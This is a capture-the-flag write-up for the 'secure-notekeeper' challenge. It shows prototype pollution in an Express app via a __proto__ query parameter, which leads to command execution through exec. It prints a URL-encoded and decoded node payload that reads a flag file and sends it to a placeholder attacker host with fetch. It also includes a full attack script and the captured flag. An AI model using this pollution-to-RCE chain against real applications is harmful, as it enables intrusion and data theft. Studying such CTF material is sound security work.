secure-notekeeper Writeup
Exploiting prototype pollution to execute arbitrary commands.
Challenge Description
The challenge involves a web application that allows us to add objects to a database. Our goal is to exploit the application to retrieve the flag.
Solution
Step 1: Analyzing the Application
First, we analyze the application by inspecting the source code. The application uses Express and has endpoints for adding and retrieving “notes”.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
const express = require('express');
const bodyParser = require("body-parser");
const router = express.Router()
const { exec } = require("child_process");
const app = express();
app.use(bodyParser.urlencoded({extended: false}));
app.use(bodyParser.json());
app.use("/",router);
let db = {};
router.get('/',(req,res) => {
res.send("Welcome to secure_notekeeper!");
});
router.get('/get_items',(req,res) =>{
const {user,password} = req.query;
if (!user) return res.send("Invalid use of the endpoint. No user provided!");
var result = db[user];
if (result) result = result[password];
res.send(result);
});
router.get('/add', (req, res) => {
const {user,password,entry} = req.query;
if (!user) return res.send("Invalid use of the endpoint. No user provided!");
if (!db[user]) db[user]={};
db[user][password] = entry;
res.send("Entry added succesfully!");
});
Step 2: Identifying the Vulnerability
Upon inspecting the code, we notice that the application is vulnerable to prototype pollution. The db
object is used to store user data, and there are no checks to prevent prototype pollution.
Step 3: Exploiting Prototype Pollution
We can exploit prototype pollution by adding properties to the db
object that will allow us to execute arbitrary commands. The dev
endpoint in the code uses the exec
function to execute commands, which we can leverage to read the flag.
1
2
3
4
5
6
7
8
9
router.get('/dev',(req,res) => {
let result = Buffer.from(JSON.stringify(db));
const cmd = utils.uploader + `dev ${result.toString('base64')}`;
console.log(cmd);
exec(cmd,(err,_,__) => {
if (err) return res.json({is_success:false});
res.json({is_success:true});
});
});
Step 4: Crafting the Payload
We craft a payload to pollute the prototype and add a command to read the flag file. We use the add
endpoint to inject our payload.
1
http://34.107.71.117:31412/add?user=__proto__&password=uploader&entry=node%20%2De%20%22const%20%7B%20exec%20%7D%20%3D%20require%28%27child%5Fprocess%27%29%3B%20exec%28%27cat%20%2Fhome%2Fnotekeeper%2Fflag%2Etxt%27%2C%20%28err%2C%20stdout%2C%20stderr%29%20%3D%3E%20%7B%20if%20%28err%29%20%7B%20console%2Eerror%28err%29%3B%20return%3B%20%7D%20fetch%28%27http%3A%2F%2Fyour%5Fip%3Ayour%5Fport%2F%3Foutput%3D%27%20%2B%20encodeURIComponent%28stdout%29%29%2Ecatch%28console%2Eerror%29%3B%20%7D%29%3B%22%20%23%20
Prototype pollution is a vulnerability where an attacker can modify the prototype of a base object, affecting all instances of that object. In the provided code, the
/add
endpoint allows users to add entries to thedb
object without proper validation, making it vulnerable. By setting theuser
parameter to__proto__
, we can modify the prototype of all objects, basically modify what an object is itself. This allows us to add properties that will be inherited by other objects, such asutils
. We can then exploit this by injecting a command into theuploader
property of the prototype. When the/dev
endpoint is triggered, it uses theuploader
property to execute commands, allowing us to read the flag file and retrieve its content.
Step 5: Executing the Payload
After injecting the payload, we trigger the dev
endpoint to execute our command and retrieve the flag.
1
http://34.107.71.117:31412/dev
Step 6: Retrieving the Flag
The command reads the flag file and sends the content to our server. We capture the flag from the response.
The JS payload URL decoded is:
node -e "const { exec } = require('child_process'); exec('cat /home/notekeeper/flag.txt', (err, stdout, stderr) => { if (err) { console.error(err); return; } fetch('http://your_ip:your_port/?output=' + encodeURIComponent(stdout)).catch(console.error); });" #
I added a
#
at the end of the payload to mark the rest of the command as a comment.const cmd = utils.uploader + `dev ${result.toString('base64')}`;
Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const payload = `
node%20%2De%20%22const%20%7B%20exec%20%7D%20%3D%20require%28%27child%5Fprocess%27%29%3B%20exec%28%27cat%20%2Fhome%2Fnotekeeper%2Fflag%2Etxt%27%2C%20%28err%2C%20stdout%2C%20stderr%29%20%3D%3E%20%7B%20if%20%28err%29%20%7B%20console%2Eerror%28err%29%3B%20return%3B%20%7D%20fetch%28%27http%3A%2F%2Fyour%5Fip%3Ayour%5Fport%2F%3Foutput%3D%27%20%2B%20encodeURIComponent%28stdout%29%29%2Ecatch%28console%2Eerror%29%3B%20%7D%29%3B%22%20%23%20`
fetch(`http://34.107.71.117:31412/add?user=__proto__&password=uploader&entry=${payload}`)
.then(response => response.text())
.then(data => {
fetch('http://34.107.71.117:31412/dev')
.then(response => response.text())
.then(data => {
console.log(data);
})
.catch(error => {
console.error(error);
});
})
.catch(error => {
console.error(error);
});
Flag
1
ctf{d3147872085df5640daf51b2781a45d34645226fdf37367fa04fecb6242ea83b}